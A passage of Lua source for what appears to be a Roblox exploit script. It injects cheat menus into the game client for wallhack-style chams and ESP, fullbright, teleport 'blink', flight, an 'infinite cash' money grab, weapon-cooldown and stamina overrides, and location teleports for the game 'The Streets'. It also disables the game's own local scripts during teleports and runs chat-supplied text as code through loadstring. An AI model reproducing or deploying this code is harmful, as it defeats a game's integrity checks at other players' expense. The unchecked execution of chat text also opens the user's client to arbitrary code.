GetFunc(Functions, 'Chams Transparency')() end) elseif Name:match('Enemy') then NewOption['Key']['MouseButton1Down']:connect(function() local Tab, Pos = GetColor(Misc.ChamsColors, NewSettings.ECC[2]) if (Pos + 1) < #Misc.ChamsColors then NewOption['Text'].Text = NewOption['Text'].Text:gsub(NewSettings.ECC[1], Misc.ChamsColors[Pos + 1][1]) NewSettings.ECC = Misc.ChamsColors[Pos + 1] else NewOption['Text'].Text = NewOption['Text'].Text:gsub(NewSettings.ECC[1], Misc.ChamsColors[1][1]) NewSettings.ECC = Misc.ChamsColors[1] end GetFunc(Functions, 'Chams Transparency')() end) end elseif option[1] == 'Chams Transparency' then NewOption['Key']['MouseButton1Down']:connect(function() GetFunc(Functions, 'Chams Transparency')(true) end) elseif option[1] == 'Fullbright' then NewOption['Key']['MouseButton1Down']:connect(function() local Fullbright = Settings.Fullbright if not Fullbright.On then return end if Fullbright.Current < #Fullbright.Options then Fullbright.Current = Fullbright.Current + 1 else Fullbright.Current = 1 end GetFunc(Functions, 'Fullbright')(false, NewOption['Key']) end) end end end return NewSettings end)() setmetatable(Misc['CharFunctions'], { __newindex = function(s, i, v) rawset(Misc['CharFunctions'], i, v) for __, player in next, (Players:GetPlayers()) do if player.Character then v(player.Character) end end end }) local CharFix = function(char) local Target = Players:GetPlayerFromCharacter(char) local Team = Chams['Team']:FindFirstChild(Target['Name']) local Enemy = Chams['Enemy']:FindFirstChild(Target['Name']) if Team then for __, handle in next, (Team:GetChildren()) do if handle['Adornee'] and not handle['Adornee']:IsDescendantOf(game) then handle['Parent'] = nil end end end if Enemy then for __, handle in next, (Enemy:GetChildren()) do if handle['Adornee'] and not handle['Adornee']:IsDescendantOf(game) then handle['Parent'] = nil end end end end local CharAbuse = function(char) wait() for __, func in next, (Misc['CharFunctions']) do coroutine.wrap(func)(char) end char['Changed']:connect(function(prop) if (prop == 'Parent') then CharFix(char) end end) end for __, player in next, (Players:GetPlayers()) do player['CharacterAdded']:connect(CharAbuse) end Players.PlayerAdded:connect(function(Client) Client['CharacterAdded']:connect(CharAbuse) end) Players.PlayerRemoving:connect(function(Client) local Team = Chams['Team']:FindFirstChild(Client['Name']) local Enemy = Chams['Enemy']:FindFirstChild(Client['Name']) if Team then Team['Parent'] = nil end if Enemy then Enemy['Parent'] = nil end end) Input['InputBegan']:connect(function(input, og) if og then return end if input.UserInputType == Enum.UserInputType.Keyboard then if input.KeyCode == Enum.KeyCode.Delete then Functions['Menu']() end end end) Menu.Parent = game.CoreGui end) bracks.Name = "bracks" bracks.Parent = ScriptFrame bracks.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) bracks.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) bracks.BorderSizePixel = 4 bracks.Position = UDim2.new(0.038654238, 0, 0.218762636, 0) bracks.Size = UDim2.new(0, 200, 0, 50) bracks.Font = Enum.Font.SourceSansItalic bracks.Text = "Brack's GUI" bracks.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) bracks.TextSize = 30 bracks.MouseButton1Down:connect(function() -- // The Streets GUI local gPlayers = game:GetService("Players") local gRep = game:GetService("ReplicatedStorage") local Context = game:GetService("ContextActionService") local Plr = gPlayers.LocalPlayer local mouse = Plr:GetMouse() -- // Stuff local Open = false local InfMoney = false local RegenMode = false local BlinkAmount = 3.5 local CanFly = true local CanBlink = true local sFlying = false local Blinking = false local LocalTabOpen = false local CmdsTabOpen = false local SettingsTabOpen = false if gRep:FindFirstChild("Test") then local Lol = gRep.Test Instance.new("Sound", gRep).Name = "Test" Lol:Destroy() end -- // GUI -- Objects local GUI = Instance.new("ScreenGui") local SideButtons = Instance.new("Frame") local Local = Instance.new("TextButton") local Cmds = Instance.new("TextButton") local Keybinds = Instance.new("TextButton") local Settings = Instance.new("TextButton") local LocalTab = Instance.new("TextLabel") local LocalMain = Instance.new("Frame") local Regen = Instance.new("TextButton") local InfCash = Instance.new("TextButton") local CmdsTab = Instance.new("TextLabel") local CmdsMain = Instance.new("Frame") local Scroll = Instance.new("ScrollingFrame") local SettingsTab = Instance.new("TextLabel") local SettingsMain = Instance.new("Frame") local Apply = Instance.new("TextButton") local BlinkTxt = Instance.new("TextLabel") local BlinkNum = Instance.new("TextBox") local BlinkToggle = Instance.new("TextButton") local sFlyTxt = Instance.new("TextLabel") local sFlyToggle = Instance.new("TextButton") local Reset = Instance.new("TextButton") local IntroFrame = Instance.new("Frame") local Frame = Instance.new("Frame") local Txt = Instance.new("TextLabel") local Cred = Instance.new("TextLabel") local Reset_2 = Instance.new("TextButton") -- Properties GUI.Parent = game.CoreGui SideButtons.Name = "SideButtons" SideButtons.Parent = GUI SideButtons.BackgroundColor3 = Color3.new(1, 1, 1) SideButtons.BackgroundTransparency = 1 SideButtons.Position = UDim2.new(-1.10000002, 0, 0.419999987, 0) SideButtons.Size = UDim2.new(0, 150, 0, 200) Local.Name = "Local" Local.Parent = SideButtons Local.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Local.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) Local.Size = UDim2.new(0.899999976, 0, 0.129999995, 0) Local.Font = Enum.Font.SourceSans Local.FontSize = Enum.FontSize.Size14 Local.Text = "Local" Local.TextColor3 = Color3.new(1, 1, 1) Local.TextScaled = true Local.TextSize = 14 Local.TextStrokeTransparency = 0.69999998807907 Local.TextWrapped = true Cmds.Name = "Cmds" Cmds.Parent = SideButtons Cmds.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Cmds.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) Cmds.Position = UDim2.new(0, 0, 0.150000006, 0) Cmds.Size = UDim2.new(0.899999976, 0, 0.129999995, 0) Cmds.Font = Enum.Font.SourceSans Cmds.FontSize = Enum.FontSize.Size14 Cmds.Text = "Commands" Cmds.TextColor3 = Color3.new(1, 1, 1) Cmds.TextScaled = true Cmds.TextSize = 14 Cmds.TextStrokeTransparency = 0.69999998807907 Cmds.TextWrapped = true Keybinds.Name = "Keybinds" Keybinds.Parent = SideButtons Keybinds.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Keybinds.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) Keybinds.Position = UDim2.new(0, 0, 0.300000012, 0) Keybinds.Size = UDim2.new(0.899999976, 0, 0.129999995, 0) Keybinds.Font = Enum.Font.SourceSans Keybinds.FontSize = Enum.FontSize.Size14 Keybinds.Text = "Keybinds" Keybinds.TextColor3 = Color3.new(1, 1, 1) Keybinds.TextScaled = true Keybinds.TextSize = 14 Keybinds.TextStrokeTransparency = 0.69999998807907 Keybinds.TextWrapped = true Settings.Name = "Settings" Settings.Parent = SideButtons Settings.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Settings.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) Settings.Position = UDim2.new(0, 0, 0.449999988, 0) Settings.Size = UDim2.new(0.899999976, 0, 0.129999995, 0) Settings.Font = Enum.Font.SourceSans Settings.FontSize = Enum.FontSize.Size14 Settings.Text = "Settings" Settings.TextColor3 = Color3.new(1, 1, 1) Settings.TextScaled = true Settings.TextSize = 14 Settings.TextStrokeTransparency = 0.69999998807907 Settings.TextWrapped = true LocalTab.Name = "LocalTab" LocalTab.Parent = GUI LocalTab.Active = true LocalTab.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) LocalTab.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) LocalTab.Draggable = true LocalTab.Position = UDim2.new(0.150000006, 0, 0.100000001, 0) LocalTab.Size = UDim2.new(0, 200, 0, 20) LocalTab.Visible = false LocalTab.Font = Enum.Font.SourceSans LocalTab.FontSize = Enum.FontSize.Size14 LocalTab.Text = "Local" LocalTab.TextColor3 = Color3.new(1, 1, 1) LocalTab.TextScaled = true LocalTab.TextSize = 14 LocalTab.TextStrokeTransparency = 0.69999998807907 LocalTab.TextWrapped = true LocalTab.TextXAlignment = Enum.TextXAlignment.Left LocalMain.Name = "LocalMain" LocalMain.Parent = LocalTab LocalMain.BackgroundColor3 = Color3.new(0.258824, 0.258824, 0.258824) LocalMain.BorderColor3 = Color3.new(0.258824, 0.258824, 0.258824) LocalMain.Position = UDim2.new(0, 0, 1.10000002, 0) LocalMain.Size = UDim2.new(1, 0, 10, 0) Regen.Name = "Regen" Regen.Parent = LocalMain Regen.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Regen.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) Regen.Position = UDim2.new(0.0500000007, 0, 0.0500000007, 0) Regen.Size = UDim2.new(0.899999976, 0, 0.119999997, 0) Regen.Font = Enum.Font.SourceSans Regen.FontSize = Enum.FontSize.Size24 Regen.Text = "Regen (OFF)" Regen.TextColor3 = Color3.new(1, 1, 1) Regen.TextSize = 20 Regen.TextStrokeTransparency = 0.69999998807907 Regen.TextWrapped = true InfCash.Name = "InfCash" InfCash.Parent = LocalMain InfCash.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) InfCash.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) InfCash.Position = UDim2.new(0.0500000007, 0, 0.200000003, 0) InfCash.Size = UDim2.new(0.899999976, 0, 0.119999997, 0) InfCash.Font = Enum.Font.SourceSans InfCash.FontSize = Enum.FontSize.Size24 InfCash.Text = "Inf Cash (OFF)" InfCash.TextColor3 = Color3.new(1, 1, 1) InfCash.TextSize = 20 InfCash.TextStrokeTransparency = 0.69999998807907 InfCash.TextWrapped = true CmdsTab.Name = "CmdsTab" CmdsTab.Parent = GUI CmdsTab.Active = true CmdsTab.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) CmdsTab.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) CmdsTab.Draggable = true CmdsTab.Position = UDim2.new(0.150000006, 0, 0.5, 0) CmdsTab.Size = UDim2.new(0, 200, 0, 20) CmdsTab.Visible = false CmdsTab.Font = Enum.Font.SourceSans CmdsTab.FontSize = Enum.FontSize.Size14 CmdsTab.Text = "Commands" CmdsTab.TextColor3 = Color3.new(1, 1, 1) CmdsTab.TextScaled = true CmdsTab.TextSize = 14 CmdsTab.TextStrokeTransparency = 0.69999998807907 CmdsTab.TextWrapped = true CmdsTab.TextXAlignment = Enum.TextXAlignment.Left CmdsMain.Name = "CmdsMain" CmdsMain.Parent = CmdsTab CmdsMain.BackgroundColor3 = Color3.new(0.258824, 0.258824, 0.258824) CmdsMain.BorderColor3 = Color3.new(0.32549, 0.32549, 0.32549) CmdsMain.Position = UDim2.new(0, 0, 1.10000002, 0) CmdsMain.Size = UDim2.new(1, 0, 10, 0) Scroll.Name = "Scroll" Scroll.Parent = CmdsMain Scroll.BackgroundColor3 = Color3.new(0.258824, 0.258824, 0.258824) Scroll.BorderColor3 = Color3.new(0.32549, 0.32549, 0.32549) Scroll.Size = UDim2.new(1, 0, 1, 0) Scroll.BottomImage = "rbxassetid://3419963" Scroll.MidImage = "rbxassetid://3419963" Scroll.TopImage = "rbxassetid://3419963" SettingsTab.Name = "SettingsTab" SettingsTab.Parent = GUI SettingsTab.Active = true SettingsTab.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) SettingsTab.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) SettingsTab.Draggable = true SettingsTab.Position = UDim2.new(0.360000014, 0, 0.100000001, 0) SettingsTab.Size = UDim2.new(0, 200, 0, 20) SettingsTab.Visible = false SettingsTab.Font = Enum.Font.SourceSans SettingsTab.FontSize = Enum.FontSize.Size14 SettingsTab.Text = "Settings" SettingsTab.TextColor3 = Color3.new(1, 1, 1) SettingsTab.TextScaled = true SettingsTab.TextSize = 14 SettingsTab.TextStrokeTransparency = 0.69999998807907 SettingsTab.TextWrapped = true SettingsTab.TextXAlignment = Enum.TextXAlignment.Left SettingsMain.Name = "SettingsMain" SettingsMain.Parent = SettingsTab SettingsMain.BackgroundColor3 = Color3.new(0.258824, 0.258824, 0.258824) SettingsMain.BorderColor3 = Color3.new(0.258824, 0.258824, 0.258824) SettingsMain.Position = UDim2.new(0, 0, 1.10000002, 0) SettingsMain.Size = UDim2.new(1, 0, 8, 0) Apply.Name = "Apply" Apply.Parent = SettingsMain Apply.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Apply.BorderColor3 = Color3.new(0.258824, 0.258824, 0.258824) Apply.Position = UDim2.new(0, 0, 0.829999983, 0) Apply.Size = UDim2.new(0.5, 0, 0.150000006, 0) Apply.Font = Enum.Font.SourceSans Apply.FontSize = Enum.FontSize.Size24 Apply.Text = "Apply" Apply.TextColor3 = Color3.new(1, 1, 1) Apply.TextSize = 20 Apply.TextStrokeTransparency = 0.5 BlinkTxt.Name = "BlinkTxt" BlinkTxt.Parent = SettingsMain BlinkTxt.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) BlinkTxt.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) BlinkTxt.Position = UDim2.new(0.0199999996, 0, 0.100000001, 0) BlinkTxt.Size = UDim2.new(0.5, 0, 0.150000006, 0) BlinkTxt.Font = Enum.Font.SourceSans BlinkTxt.FontSize = Enum.FontSize.Size28 BlinkTxt.Text = "Blink" BlinkTxt.TextColor3 = Color3.new(1, 1, 1) BlinkTxt.TextSize = 25 BlinkTxt.TextStrokeTransparency = 0.5 BlinkNum.Name = "BlinkNum" BlinkNum.Parent = SettingsMain BlinkNum.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) BlinkNum.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) BlinkNum.Position = UDim2.new(0.779999971, 0, 0.100000001, 0) BlinkNum.Size = UDim2.new(0.200000003, 0, 0.150000006, 0) BlinkNum.Font = Enum.Font.SourceSans BlinkNum.FontSize = Enum.FontSize.Size14 BlinkNum.Text = "3.5" BlinkNum.TextColor3 = Color3.new(1, 1, 1) BlinkNum.TextScaled = true BlinkNum.TextSize = 14 BlinkNum.TextStrokeTransparency = 0.5 BlinkNum.TextWrapped = true BlinkToggle.Name = "BlinkToggle" BlinkToggle.Parent = SettingsMain BlinkToggle.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) BlinkToggle.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) BlinkToggle.Position = UDim2.new(0.550000012, 0, 0.100000001, 0) BlinkToggle.Size = UDim2.new(0.200000003, 0, 0.150000006, 0) BlinkToggle.Font = Enum.Font.SourceSans BlinkToggle.FontSize = Enum.FontSize.Size14 BlinkToggle.Text = "ON" BlinkToggle.TextColor3 = Color3.new(1, 1, 1) BlinkToggle.TextScaled = true BlinkToggle.TextSize = 14 BlinkToggle.TextStrokeTransparency = 0.5 BlinkToggle.TextWrapped = true sFlyTxt.Name = "sFlyTxt" sFlyTxt.Parent = SettingsMain sFlyTxt.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) sFlyTxt.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) sFlyTxt.Position = UDim2.new(0.0199999996, 0, 0.300000012, 0) sFlyTxt.Size = UDim2.new(0.5, 0, 0.150000006, 0) sFlyTxt.Font = Enum.Font.SourceSans sFlyTxt.FontSize = Enum.FontSize.Size28 sFlyTxt.Text = "sFly" sFlyTxt.TextColor3 = Color3.new(1, 1, 1) sFlyTxt.TextSize = 25 sFlyTxt.TextStrokeTransparency = 0.5 sFlyToggle.Name = "sFlyToggle" sFlyToggle.Parent = SettingsMain sFlyToggle.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) sFlyToggle.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) sFlyToggle.Position = UDim2.new(0.550000012, 0, 0.300000012, 0) sFlyToggle.Size = UDim2.new(0.425000012, 0, 0.150000006, 0) sFlyToggle.Font = Enum.Font.SourceSans sFlyToggle.FontSize = Enum.FontSize.Size14 sFlyToggle.Text = "ON" sFlyToggle.TextColor3 = Color3.new(1, 1, 1) sFlyToggle.TextScaled = true sFlyToggle.TextSize = 14 sFlyToggle.TextStrokeTransparency = 0.5 sFlyToggle.TextWrapped = true Reset.Name = "Reset" Reset.Parent = SettingsMain Reset.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Reset.BorderColor3 = Color3.new(0.258824, 0.258824, 0.258824) Reset.Position = UDim2.new(0.5, 0, 0.829999983, 0) Reset.Size = UDim2.new(0.5, 0, 0.150000006, 0) Reset.Font = Enum.Font.SourceSans Reset.FontSize = Enum.FontSize.Size24 Reset.Text = "Reset" Reset.TextColor3 = Color3.new(1, 1, 1) Reset.TextSize = 20 Reset.TextStrokeTransparency = 0.5 IntroFrame.Name = "IntroFrame" IntroFrame.Parent = GUI IntroFrame.BackgroundColor3 = Color3.new(0.258824, 0.258824, 0.258824) IntroFrame.BorderColor3 = Color3.new(0.258824, 0.258824, 0.258824) IntroFrame.Size = UDim2.new(1, 0, 1, 0) IntroFrame.Visible = false Frame.Parent = IntroFrame Frame.BackgroundColor3 = Color3.new(0.258824, 0.258824, 0.258824) Frame.BorderColor3 = Color3.new(0.101961, 0.611765, 0.666667) Frame.BorderSizePixel = 5 Frame.ClipsDescendants = true Frame.Position = UDim2.new(0.25, 0, 0.349999994, 0) Frame.Size = UDim2.new(0.5, 0, 0.200000003, 0) Txt.Name = "Txt" Txt.Parent = Frame Txt.BackgroundColor3 = Color3.new(1, 1, 1) Txt.BackgroundTransparency = 1 Txt.Size = UDim2.new(1, 0, 1, 0) Txt.Font = Enum.Font.SourceSansBold Txt.FontSize = Enum.FontSize.Size60 Txt.Text = "The Streets" Txt.TextColor3 = Color3.new(0.101961, 0.611765, 0.666667) Txt.TextSize = 57 Txt.TextStrokeTransparency = 0.5 Txt.TextWrapped = true Cred.Name = "Cred" Cred.Parent = IntroFrame Cred.BackgroundColor3 = Color3.new(1, 1, 1) Cred.BackgroundTransparency = 1 Cred.Position = UDim2.new(0.25, 0, 0.600000024, 0) Cred.Size = UDim2.new(0.5, 0, 0.100000001, 0) Cred.Font = Enum.Font.SourceSansItalic Cred.FontSize = Enum.FontSize.Size48 Cred.Text = "By Chilled" Cred.TextColor3 = Color3.new(0.101961, 0.611765, 0.666667) Cred.TextSize = 42 Cred.TextStrokeTransparency = 0.5 Reset_2.Name = "Reset" Reset_2.Parent = Cred Reset_2.BackgroundColor3 = Color3.new(0.101961, 0.611765, 0.666667) Reset_2.BorderColor3 = Color3.new(0.258824, 0.258824, 0.258824) Reset_2.Position = UDim2.new(0.5, 0, 0.829999983, 0) Reset_2.Size = UDim2.new(0.5, 0, 0.150000006, 0) Reset_2.Font = Enum.Font.SourceSans Reset_2.FontSize = Enum.FontSize.Size24 Reset_2.Text = "Reset" Reset_2.TextColor3 = Color3.new(1, 1, 1) Reset_2.TextSize = 20 Reset_2.TextStrokeTransparency = 0.5 local SideButtons = GUI:WaitForChild("SideButtons") local Local = SideButtons.Local local Cmds = SideButtons.Cmds local Keybinds = SideButtons.Keybinds local Settings = SideButtons.Settings local LocalTab = GUI:WaitForChild("LocalTab") local LocalMain = LocalTab:WaitForChild("LocalMain") local Regen = LocalMain.Regen local InfCash = LocalMain.InfCash local CmdsTab = GUI:WaitForChild("CmdsTab") local CmdsMain = CmdsTab.CmdsMain local Scroll = CmdsMain.Scroll local SettingsTab = GUI:WaitForChild("SettingsTab") local SettingsMain = SettingsTab:WaitForChild("SettingsMain") local Apply = SettingsMain.Apply local Reset = SettingsMain.Reset local BlinkNum = SettingsMain.BlinkNum local BlinkToggle = SettingsMain.BlinkToggle local sFlyToggle = SettingsMain.sFlyToggle -- // Gui functions local ToggleGUI = function(Name, State, Obj) if State == Enum.UserInputState.End then if not Open then Open = true SideButtons:TweenPosition(UDim2.new(0.01, 0, 0.42, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quart, 0.15, true) wait() GUI.Enabled = true else Open = false SideButtons:TweenPosition(UDim2.new(-1.1, 0, 0.42, 0), Enum.EasingDirection.In, Enum.EasingStyle.Quart, 0.15, true) wait() GUI.Enabled = false end end end local Blink = function(Name, State, Obj) if State == Enum.UserInputState.End then if not Blinking then Blinking = true while Blinking do Plr.Character.HumanoidRootPart.CFrame = Plr.Character.HumanoidRootPart.CFrame + (Plr.Character.HumanoidRootPart.CFrame.lookVector * BlinkAmount) wait() end else Blinking = false end end end local sFly = function(Name, State, Obj) if State == Enum.UserInputState.End then if not sFlying then sFlying = true while sFlying do Plr.Character.Humanoid.Sit = true Plr.Character.Humanoid.Jump = true wait() end else sFlying = false Plr.Character.Humanoid.Jump = true end end end local Food = function(Name, State, Obj) if State == Enum.UserInputState.End then if workspace:FindFirstChild("Burger | $15") then workspace["Burger | $15"]:MoveTo(gPlayers.LocalPlayer.Character.Torso.Position) end end end local Click = function() if not GUI:FindFirstChild("Click") then local Click = Instance.new("Sound", GUI) Click.Name = "Click" Click.SoundId = "rbxassetid://537744814" Click:Play() else GUI.Click:Play() end end local Notify = function(Title, Txt, Icon, Time) game:GetService("StarterGui"):SetCore("SendNotification", { Title = Title, Text = Txt, Icon = Icon, Duration = Time -- Defaults to 5 secs }) end Local.MouseButton1Down:connect(function() if not LocalTabOpen then LocalTabOpen = true Click() LocalTab.Visible = true else LocalTabOpen = false Click() LocalTab.Visible = false end end) Cmds.MouseButton1Down:connect(function() if not CmdsTabOpen then CmdsTabOpen = true Click() CmdsTab.Visible = true else CmdsTabOpen = false Click() CmdsTab.Visible = false end end) Settings.MouseButton1Down:connect(function() if not SettingsTabOpen then SettingsTabOpen = true Click() SettingsTab.Visible = true else SettingsTabOpen = false Click() SettingsTab.Visible = false end end) -- // Main functions workspace.ChildAdded:connect(function(Child) if InfMoney and Child.Name == "RandomSpawner" then for i,v in pairs(Child.Model:GetChildren()) do if v:IsA("MeshPart") then Child.CanCollide = false Child.CFrame = Plr.Character.Torso.CFrame end end end end) InfCash.MouseButton1Down:connect(function() if not InfMoney then InfMoney = true Click() InfCash.Text = "Infinite Cash (ON)" else InfMoney = false Click() InfCash.Text = "Infinite Cash (OFF)" end end) Regen.MouseButton1Down:connect(function() if not RegenMode then RegenMode = true Click() Regen.Text = "Regen (ON)" else RegenMode = false Click() Regen.Text = "Regen (OFF)" end end) Apply.MouseButton1Down:connect(function() Click() if not BlinkNum.Text:match("%d+") then -- Checks if it's a # BlinkAmount = 0 else BlinkAmount = BlinkNum.Text end print("Settings have been applied.") end) BlinkToggle.MouseButton1Down:Connect(function() if not CanBlink then CanBlink = true Click() Context:BindAction("Blink", Blink, true, Enum.KeyCode.Q) BlinkToggle.Text = "ON" else CanBlink = false Click() Context:UnbindAction("Blink") Blinking = false BlinkToggle.Text = "OFF" end end) sFlyToggle.MouseButton1Down:Connect(function() if not CanFly then CanFly = true Click() Context:BindAction("sFly", sFly, true, Enum.KeyCode.R) sFlyToggle.Text = "ON" else CanFly = false Click() Context:UnbindAction("sFly") sFlying = false Plr.Character.Humanoid.Jump = true sFlyToggle.Text = "OFF" end end) -- // Plr Stuff local TeleportTo = function(Cord) for i,v in pairs(Plr.PlayerGui:GetChildren()) do if v:IsA("LocalScript") then v.Disabled = true end end Plr.Character.HumanoidRootPart.CFrame = Cord for i,v in pairs(Plr.PlayerGui:GetChildren()) do if v:IsA("LocalScript") then v.Disabled = false end end end local OP = function() Plr.Backpack.ChildAdded:connect(function(Child) if Child:IsA("Tool") or Child:IsA("HopperBin") then if Child:FindFirstChild("Cooldown", true) then Child.Info.Cooldown.Value = 0.01 end if Child:FindFirstChild("AnimSpeed", true) then Child.Info.AnimSpeed.Value = 5 end end end) for i,Child in pairs(Plr.Backpack:GetChildren()) do if Child:IsA("Tool") or Child:IsA("HopperBin") then if Child:FindFirstChild("Cooldown", true) then Child.Info.Cooldown.Value = 0.01 end if Child:FindFirstChild("AnimSpeed", true) then Child.Info.AnimSpeed.Value = 5 end end end Plr.Character.Humanoid.Changed:connect(function() if Plr.Character.Humanoid.WalkSpeed <= 0 then Plr.Character.Humanoid.WalkSpeed = 16 end end) Plr.Backpack:WaitForChild("ServerTraits").Stam.Value = 100 Plr.Backpack.ServerTraits.Stam.Changed:connect(function() Plr.Backpack.ServerTraits.Stam.Value = 100 end) end -- // Admin Stuff local Prefix = ";" local ScriptPrefix = "/" local Split = " " local Commands = {} local Admins = {} local Bans = {} local Speaker = nil local AddCmd = function(Name, Desc, Alias, Func) table.insert(Commands, { Name = Name, DESC = Desc, ALIAS = Alias, FUNC = Func }) end local Endat = function(Str, Val) local Z = Str:find(Val) if Z then return Str:sub(0, Z - Str.len(Val)), true else return Str, false end end local GetArgs = function(Str) local Args = {} local NewArg = nil local Has_Split = nil local S = Str repeat NewArg, Has_Split = Endat(S:lower(), Split) if NewArg ~= "" then Args[#Args + 1] = NewArg S = S:sub(string.len(NewArg) + string.len(Split) + 1) end until Has_Split == false return Args end local GetTable = function(Tab, N) for i = 1, #Tab do if Tab[i] == N then return i else return false end end end local Check = function(Table, N, B) if N == Plr.Name then return B elseif Table[N] == true then return true else return false end end local InTable = function(Tab, Obj) for i,v in pairs(Tab) do if Obj == v then return true end end end local FindCmd = function(Str) for i,v in pairs(Commands) do if string.lower(v.Name) == string.lower(Str) or GetTable(v.ALIAS, string.lower(Str)) then return v end end end local GetPrefix = function(Str) if Str:sub(1, string.len(Prefix)) == Prefix then return {"Cmd", string.len(Prefix) + 1} elseif Str:sub(1, string.len(ScriptPrefix)) == ScriptPrefix then return {"Script", string.len(Prefix) + 1} end end local DoScript = function(Str) spawn(function() local Script, Error = loadstring(Str) if not Script then error(Error) else Script() end end) end local DoCmd = function(Str, P) local SplitCmd = GetArgs(Str) local Cmd = FindCmd(SplitCmd[1]) local A = Str:sub(string.len(SplitCmd[1]) + string.len(Split) + 1) local Args = GetArgs(A) pcall(function() Cmd.FUNC(Args, P) end) end local HandleMsg = function(Str, P) if InTable(Admins, P.Name) or P.UserId == Plr.UserId then Speaker = P.Name else return end Str = Str:gsub("/e ", "") local Fix = GetPrefix(Str) if Fix == nil then return end Str = Str:sub(Fix[2]) if Fix[1] == "Cmd" then DoCmd(Str, P) elseif Fix[1] == "Script" then DoScript(Str) end end local Split = function(Self, Sep) local Sep, Fields = Sep or Split, {} local Pattern = string.format("([^%s]+)", Sep) Self:gsub(Pattern, function(c) Fields[#Fields+1] = c end) return Fields end function GetPlr(N) local NameTable = {} N = N:lower() local Diff = Split(N, ",") for i,z in pairs(Diff) do if z == "me" then table.insert(NameTable, Speaker) elseif z == "all" then for i,v in pairs(gPlayers:GetPlayers()) do table.insert(NameTable, v.Name) end elseif z == "others" then for i,v in pairs(gPlayers:GetPlayers()) do if v.Name ~= gPlayers[Speaker].Name then table.insert(NameTable, v.Name) end end elseif z == "friends" then for i,v in pairs(gPlayers:GetPlayers()) do if v:IsFriendsWith(Plr.UserId) then table.insert(NameTable, v.Name) end end elseif z == "nonfriends" then for i,v in pairs(gPlayers:GetPlayers()) do if not v:IsFriendsWith(Plr.UserId) then table.insert(NameTable, v.Name) end end else for i,x in pairs(gPlayers:GetPlayers()) do if string.sub(x.Name:lower(), 1, #z) == z then table.insert(NameTable, x.Name) end end end end return NameTable end local Hookchat = function(Plr) Plr.Chatted:connect(function(Msg) HandleMsg(Msg, Plr) end) end for i,v in pairs(gPlayers:GetPlayers()) do Hookchat(v) end gPlayers.PlayerAdded:connect(function(P) Hookchat(P) end) -- // Admin Commands AddCmd("goto", "tp to plr", {}, function(Args) local P = GetPlr(Args[1]) for i,v in pairs(P) do TeleportTo(gPlayers[v].Character.Torso.CFrame) end end) AddCmd("bank", "tp to bank", {}, function(Args) print'1' TeleportTo(CFrame.new(-269.053375, 4.81635475, 139.362961)) end) AddCmd("prison", "tp to prison", {}, function(Args) print'1' TeleportTo(CFrame.new(-973.523621, 3.19878054, -76.6112595)) end) AddCmd("bt", "test", {}, function(Args) local x = Instance.new("HopperBin", Plr.Backpack) x.Name = "Delete" x.BinType = "Hammer" end) AddCmd("cl", "removes bt", {}, function(Args) for i,v in pairs(Plr.Backpack:GetChildren()) do if v.Name == "Delete" then v:Destroy() end end end) AddCmd("unlock", "unlock all", {}, function(Args) function unlock(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Locked = false end unlock(v) end end unlock(workspace) end) AddCmd("find", "find plr", {}, function(Args) local P = GetPlr(Args[1]) for i,v in pairs(P) do local bgui = Instance.new("BillboardGui", gPlayers[v].Character.Head) bgui.AlwaysOnTop = true bgui.Adornee = gPlayers[v].Character.Head bgui.Enabled = true bgui.MaxDistance = math.huge bgui.Size = UDim2.new(0, 200, 0, 50) local txt = Instance.new("TextLabel", bgui) txt.Text = gPlayers[v].Name txt.BackgroundTransparency = 1 txt.Position = UDim2.new(0, 0, -0.9, 0) txt.Size = UDim2.new(1, 0, 0, 46) txt.Font = Enum.Font.SourceSansBold txt.TextColor3 = Color3.fromRGB(255, 255, 255) txt.TextScaled = true txt.TextStrokeTransparency = 0.5 end end) AddCmd("z", "tp to secret spot", {}, function(Args) TeleportTo(CFrame.new(-985.419128, 58.1662216, -38.8358192)) end) AddCmd("food", "brings food", {"f"}, function(Args) if workspace:FindFirstChild("Burger | $15") then workspace["Burger | $15"]:MoveTo(gPlayers.LocalPlayer.Character.Torso.Position) end end) AddCmd("ammo", "bring ammo", {}, function(Args) if workspace:FindFirstChild("Buy Ammo | $25") then workspace["Buy Ammo | $25"]:MoveTo(gPlayers.LocalPlayer.Character.Torso.Position) end end) local Flying = false AddCmd("fly", "F to toggle", {}, function(Args) if Speaker == Plr.Name then localplayer = Plr if workspace:FindFirstChild("Core") then workspace.Core:Destroy() end local Core = Instance.new("Part") Core.Name = "Core" Core.Size = Vector3.new(0.05, 0.05, 0.05) spawn(function() Core.Parent = workspace local Weld = Instance.new("Weld", Core) 